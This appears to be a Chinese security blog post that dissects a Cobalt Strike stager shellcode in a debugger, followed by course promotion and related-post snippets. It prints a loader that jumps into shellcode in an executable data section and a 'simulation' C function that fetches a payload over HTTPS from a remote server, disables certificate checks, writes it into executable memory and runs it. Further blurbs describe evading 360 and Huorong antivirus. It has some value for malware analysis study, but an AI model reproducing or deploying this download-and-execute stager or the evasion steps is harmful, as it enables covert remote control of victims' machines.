Cobalt Strike shellcode分析

cobaltstrike的shellcode免杀 本项目是基于学习shellcode原理和免杀基础而编写,利用加密、缩小体积、混淆等方式绕过检测,主要是为了应付火绒和360。 阅读详情

0x00 分析样本

#include<stdio.h>#include<Windows.h>#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "shellcode";
int main(){    //反调试不是很强的可以用来定位入口点  printf("hell word!!\r\n");     __asm   {    mov eax, offset buf    jmp eax  }}

0x01 分析过程

图片

图片

shellcode入口,开始进行调试

图片

进入0X00D1983F函数,,找到函数后循环都会经过这里push了wininet字符串和0x726774C

图片

进入ebp的call分析

图片

第一次拿的是本身exe

图片

第二次拿的是ntdll.dll

图片

然后拿到ntdll.dll的导出表地址

图片

导出函数个数

图片

然后进行遍历

图片

与0x0726774c进行比较,看是否是需要的函数

图片

图片

最后遍历出来找的是LoadLibrary地址,通过LoadLibrary调用起了wininet.dll

图片

图片

然后遍历拿到 InternetOpenUrlA,并实现调用

图片

图片

再次拿到 InternetConnectA并实现调用,访问ip为“192.168.40.48”

图片

图片

再次拿到HttpOpenRequestA并实现调用网页路径为“/MKMw”

图片

图片

再次拿到InternetSetOptionA并实现调用

图片

图片

再次拿到HttpSendRequestA并实现调用

图片

拿到GetDialogBaseUnits,与上面同理

图片

拿到GetDesktopWindow,与上面同理

图片

拿到InternetFindNextFileA,与上面同理

图片

拿到InternetErrorDlg,与上面同理

图片

拿到VirtualAlloc,与上面同理

图片

拿到InternetReadFile,这是循环在读取

图片

然后放开就直接运行

图片

cs上线

0x02 代码模拟

char* HttpsGet(const char* szURL, const int port, int nSize, char *UA){
  URL_COMPONENTSA crackedURL = { 0 };  char szHostName[128];  char szUrlPath[256];  crackedURL.dwStructSize = sizeof(URL_COMPONENTSA);  crackedURL.lpszHostName = szHostName;  crackedURL.dwHostNameLength = ARRAYSIZE(szHostName);  crackedURL.lpszUrlPath = szUrlPath;  crackedURL.dwUrlPathLength = ARRAYSIZE(szUrlPath);  InternetCrackUrlA(szURL, (DWORD)strlen(szURL), 0, &crackedURL);
  // Start of the internet session  HINTERNET hInternet = InternetOpenA(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  // HTTPS version  HINTERNET hHttpSession = InternetConnectA(hInternet, crackedURL.lpszHostName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);  HINTERNET hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", crackedURL.lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0);
  DWORD dwFlags;  DWORD dwBuffLen = sizeof(dwFlags);  BOOL bRet = InternetQueryOptionA(hHttpRequest, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&dwFlags, &dwBuffLen);
  if (!bRet) {    printf("Failed to query internet options. Error: %d", GetLastError());    return NULL;  }
  dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;  dwFlags |= SECURITY_FLAG_IGNORE_CERT_CN_INVALID;  dwFlags |= SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
  bRet = InternetSetOptionA(hHttpRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));  if (!bRet) {    printf("Failed to set internet options. Error: %d", GetLastError());    return NULL;  }
  // Send HTTP request  HttpSendRequest(hHttpRequest, NULL, 0, NULL, 0);
  LPVOID p = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  DWORD dwRealWord;
  for (int i = 0; i < 32; i++) {    BOOL response = InternetReadFile(hHttpRequest, (LPVOID)((int)p + i * 0x2000), 0x2000, &dwRealWord);  }
  InternetCloseHandle(hHttpRequest);  InternetCloseHandle(hHttpSession);  InternetCloseHandle(hInternet);
  ((void(WINAPI*)(void))p)();
  return NULL;}

c代码简单模拟,shellcode请求并上线

0x03 成果

图片

图片

 

 `黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

Cobalt Strike shellcode免杀360 地址:https://github.com/wei930630/go-shellcode-launcher。复制选中的shellcode代码,放入上面C++ xor加密shellcode代码,并运行。将生成的xor编码的shellcode 放入shellcode加载器。使用Cobalt Strike 生成shellcode 代码。使用Cobalt Strike 生成shellcode 代码。将选中的shellcode 代码,复制到新1.txt文件中。将上面的shellcode加载器编译为exe文件。 阅读详情

相关推荐

【调试笔记】Cobalt Strike - Beacon信标快速分析

流程为:宏代码释放的dll→exe加载的.dll(常见的白加黑)→解密ShellCode2的ShellCode1→ShellCode2→下载文件到本地 宏代码释放Dll1,并执行其导出函数 Dll1有80+MB没法跟: 宏代码执行Dll1的导出函数后,通过动态可以看到,最后会释放白加黑的exe和dll,所以基本不跟。 白加黑的Dll2 执行后通过VirtualAlloc申请一段内存空间,然后写入将要执行的ShellCode1。 首先在VirtualAlloc下断点,bp VirtualAlloc: 然后

JiangBuLiu的博客 2016

【奇淫技巧】mysql注入小技巧(非常详细)零基础入门到精通,收藏这一篇就够了

举例:通过布尔盲注的方法注当前登录用户名的第一位(这里是"r",ascii编码后是114),通过截取user字段第一位与爆破位置的数字进行比较,如果爆破位置数字小于114,就会触发溢出数据库报错,如果>=114就会回显正常,所以这里可以判断当前登录用户名的第一位ascii编码后是114,是"r"。内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

A1_3_9_7的博客 1217

【网络安全】红蓝攻防:shellcode的分析

在做红蓝攻防时,常常要用到cs、msf等工具,使用工具生成shellcode或可执行程序,那么小小的shellcode为何能做这么多事情,拿到shellcode后又该怎么分析。希望这篇文章能给大家带来答案,文章中不正确的地方请及时指出。

HBohan的博客 4369

Web安全和渗透测试有什么关系?

做渗透测试的一个环节就是测试web安全,需要明白漏洞产生原理,通过信息收集互联网暴露面,进行漏洞扫描,漏洞利用,必要时进行脚本自编写和手工测试,力求挖出目标存在的漏洞并提出整改建议,当然如果技术再精一些,还要学习内网渗透(工作组和域环境),白盒审计,app,小程序渗透那些了......可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。总之,web安全包含于渗透测试,但不是渗透测试的全部。

Python_0011的博客 4857

Cobalt Strike4.0远控木马分析

跟进接收shellcode函数RevShellcode_4017e2:其主体逻辑是先申请内存存放读取出来的shellcode,然后解密并执行。进入sub_401840函数,先获取系统时间戳,然后拼接字符串和创建线程通过管道读取shellcode,最后执行shellcode。进入主函数,主要看sub_401840里面的主要功能。

2403_87755661的博客 1368

Cobalt Strike CS2 Beacon免杀技术分析

Cobalt Strike 2/4.x (CS2) 是当前红队演练和APT模拟中最常用的控制框架。由于它的 Beacon payload 默认给出的可执行文件、加载器和 shellcode 均已被大量杀毒软件加入特征并纵向检测,因此,Beacon 免杀处理是正常使用的必须技术前缀。免杀技术分为静态免杀,动态免杀,行为干扰免杀,内存免杀和正常行为防护等方面,以下进行精细分类。利用 VirtualAlloc / VirtualProtect 创建可执行内存段自定义 shellcode 解密流程。

syg6921008的博客 2767

Cobalt_strike生成的shellcode分析

005F33A0 FC cld //将标志寄存器Flag的方向标志位DF清零。在字串操作中使变址寄存器SI或DI的地址指针自动增加,字串处理由前往后 005F33A1 E8 89 00 00 00 call buf+8Fh (05F342F) 005F33A6 60 pushad 005F33A7 89 E5 mov ebp,esp 005F33A9 3

qq_41490873的博客 1845

Cobalt Strike (CS) 逆向初探

当进入第三段文件执行的时候,就算是真正开始了远控文件的旅行,不过那是另一段旅程了,就不在这篇文章里写了(必经本篇篇幅已经好多)。但是,还是还是简单的把那个文件的一些分析写在下面。考虑到已经进入一个远控软件的核心功能部分,按照我的想法,为了方便,还是把内存dump下来,通过静态和动态结合的方式来。因此,祭出Scylla。首先运行到新内存区域入口处:然后点转储内存:选择所处模块的区域,转储PE,因为该修复的都修复了,所以直接转pe文件,也不同修复转储了。(后面的.mem文件要不要都无所谓了)。.........

悦分享 1004

Cobalt Strike Stager木马逆向分析:从Shellcode解密到Beacon提取实战

在网络安全领域,恶意代码分析是理解攻击链、构建有效防御的核心基础。其原理在于通过静态与动态分析技术,逆向工程恶意软件的行为逻辑与通信机制。这项技术的价值在于能够提取关键威胁指标(IoC),赋能威胁检测与应急响应。在高级持续性威胁(APT)攻防、渗透测试工具分析等场景中,对Stager(传输器)这类分阶段载荷的分析尤为关键。Stager木马通常采用管道通信、异或解密等技术,其核心目的是隐蔽地投递并执行最终的Stage Payload(如Cobalt Strike Beacon)。本文以一次典型的实战逆向为例,

weixin_33701617的博客 404

CobaltStrikeDetected:40行代码检测到大部分CobaltStrike的shellcode

介绍 无文件落地的木马主要是一段可以自定位的shellcode组成,特点是没有文件,可以附加到任何进程里面执行。一旦特征码被捕获甚至是只需要xor一次就能改变特征码.由于传统安全软件是基于文件检测的,对目前越来越多的无文件落地木马检查效果差. 基于内存行为特征的检测方式,可以通过检测执行代码是否在正常文件镜像区段内去识别是否是无文件木马.由于cobaltstrike等无文件木马区段所在的是private内存,所以在执行loadimage回调的时候可以通过堆栈回溯快速确认是否是无文件木马 检测只需要40行代码: 在loadimagecallback上做堆栈回溯 发现是private区域的内存并且是excute权限的code在加载dll,极有可能,非常有可能是无文件木马或者是shellcode在运行 核心代码如下: void LoadImageNotify(PUNICODE_STRING pF

Golang的Cobalt Strike Shellcode Loader-Golang开发

Cobalt Strike Shellcode Loader by Golang Doge-Loader Cobalt Strike Shellcode Loader by Golang 本人github的项目可能目前主要分为两大类, :frog: Frog系列为自动化扫描方向, :dog_face: Doge系列为免杀及内网渗透方向 Doge-Loader为Doge系列中较为重要的项目 :dog_face: 本项目感谢朋友gd, skate_zhu的帮助 :dog_face: Doge-Loader 本项目主要作用为Cobalt Strike的shellcode加载器 项目结构如下: main.go 主程序,用于远程下载shellcode并加载(需要自行上传shellcode(bin文件)并且修改源码里的url等参数) xor.go 异或编码解码器 /enhancement 附加功能,主要用于免杀等(需自行在main.go中调用) /enhancement/copy.go 程序自删除与自复制 /enhancement/sandbox.go

java 加载shellcode_通用Shellcode加载器

Shellcode加载器是一种基本的规避技术。尽管shellcode加载器通常可以促进payload的初始执行,但是启发式检测方法仍可以标记payload的其他方面和行为。例如,很多安全产品可能会在内存中时对其进行检测,或者将特定的网络流量检测为恶意。我们将研究一些适合与加载器结合使用的后期开发框架,并研究如何嵌入其他类型的二进制文件(例如.NET和已编译的PE二进制文件)。博客系列的第一部分将介...

weixin_35780426的博客 1130

【渗透工具】内网多级代理工具Venom详细使用教程

Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。

TT小子的博客 3757

ThreadStackSpoofer:终极内存隐蔽技术,彻底隐藏注入Shellcode的高级PoC

ThreadStackSpoofer是一款针对高级内存隐蔽技术的概念验证(PoC)工具,专注于通过线程栈欺骗(Thread Stack Spoofing)技术隐藏注入的Shellcode,帮助红队人员在内存中更好地规避检测。本文将详细介绍这一技术的核心原理、实现方式及实际效果,为安全研究人员提供全新的内存隐蔽思路。 ## 什么是线程栈欺骗技术? 线程栈欺骗是一种高级内存规避技术,通过修改线程调

gitblog_00695的博客 1600

Excel COUNTIF函数精确统计全解析:从模糊匹配到精准计数

在数据处理与办公自动化领域,条件计数是数据分析的基础操作,其核心原理在于对特定范围内满足设定条件的单元格进行识别与汇总。Excel中的COUNTIF函数是实现这一功能的常用工具,它通过文本匹配逻辑与通配符机制来执行条件判断。然而,其默认的模糊匹配行为常导致统计结果偏离预期,这正是精确统计的技术价值所在——确保数据汇总的准确性与可靠性,直接影响业务报告、薪酬核算、销售分析等应用场景的决策质量。本文聚焦COUNTIF函数的精确匹配技巧,深入剖析通配符(如星号*和问号?)的转义使用(通过波浪号~),并针对大小写敏

weixin_29040367的博客 353

汇川AM系列后台安全管理与用户权限的设置方法

汇川AM系列后台安全管理与用户权限的设置方法。

viixin的博客 8456

一文详解黑客是怎么利用钓鱼攻击,通过PDF文档暗投后门病毒的?网络安全零基础入门到精通实战教程!

火绒安全发现新型钓鱼攻击:恶意PDF样本通过伪装快捷方式和隐藏文件夹传播,采用VBS脚本执行Python加载器和"白加黑"技术,最终部署Cobalt Strike远控后门。攻击流程包括:1)利用系统隐藏属性隐藏恶意文件;2)通过VBS脚本调用Python加载Shellcode;3)使用合法程序加载恶意DLL绕过检测。后门具备信息收集、命令执行等多项功能,采用RSA/AES加密通信。建议用户警惕可疑邮件附件,安装安全软件并保持病毒库更新。火绒安全产品已可精准拦截此类威胁。

白帽阿叁的博客 342

OpenClaw 股票自动化交易实践指南:从原理到实战的完整技术路径

量化交易策略的开发是一个系统工程,需要综合运用金融知识、编程技能和数据分析能力。OpenClaw通过引入提示词工程技术,大大降低了策略开发的技术门槛,使得更多投资者能够参与到量化交易中来。但技术只是工具,真正决定策略成败的是对市场的深刻理解和严格的风险管理。本章系统介绍了OpenClaw环境下的策略开发方法,从提示词驱动到传统代码实现,从参数优化到回测验证,涵盖了策略开发的完整流程。提示词驱动方式适合快速验证交易想法,传统代码方式适合实现复杂的定制逻辑,两种方式可以协同使用,发挥各自的优势。

lovely_yoshino的博客 5990

CobaltStrike4.0 远控分析

1. 概述 Cobalt Strike是渗透测试神器,其功能简介就不用多说了,其4.0版本更新已有一段时间了,这里献丑分析一下,若有错误的地方望大伙指出,谢谢。 2. 样本信息 样本名 artifact4.exe 样本大小 14,336 字节 MD5 9ff9170e001f5619a0be11516051f538 SHA1 b824ed85d7dbe14f193f70d328d061e90c760736 3. 实验环境...

mai1zhi2的博客 1437

解决Windows 11文件右键菜单卡死问题的方法

当你右键点击一个文件或者文件夹时,系统会加载与该文件类型相关的上下文菜单项,如果其中某个菜单项的代码执行时间过长或者出现错误,就会导致整个右键菜单卡死。综上所述,当你在Windows 11中遇到右键菜单卡死的问题时,你可以尝试禁用上下文菜单项、重置文件关联、排除第三方软件干扰、修复系统文件以及优化代码等方法来解决问题。如果你是一个开发者,并且你自己编写了一个上下文菜单项,那么问题可能出在你的代码中。例如,如果你遇到了图片文件的右键菜单卡死问题,你可以找到".jpg"或".png"等相关的子项。

HnrzLinux的博客 7536

OpenClaw进阶实战(二十三):微信公众号接入——被动回复、客服消息、素材管理

本文介绍了将OpenClaw接入微信公众号的完整方案,重点包含以下内容: 接入方案选型:对比官方插件、三方服务和自建中转三种方式,选择自建Node.js中转服务实现灵活控制 核心原理:通过中转服务器完成微信消息协议转换,处理5秒超时限制和异步回复机制 实战开发: 搭建Express中转服务 实现Token管理和消息处理 采用内存缓存对话历史 通过客服接口异步回复 官方插件方案:介绍2026年发布的ClawBot插件,支持文本/图片/文件收发 进阶功能:包括素材管理接口调用示例 该方案适用于需要深度定制公众号

PeterPan的博客 142
上一篇: 有了这 4 款脚本工具, 再也不怕写烂SQL了!!!
下一篇: 为什么很多公司都不招大龄程序员?
程序员_大白
博客等级 码龄5年 1万+粉丝 4001原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值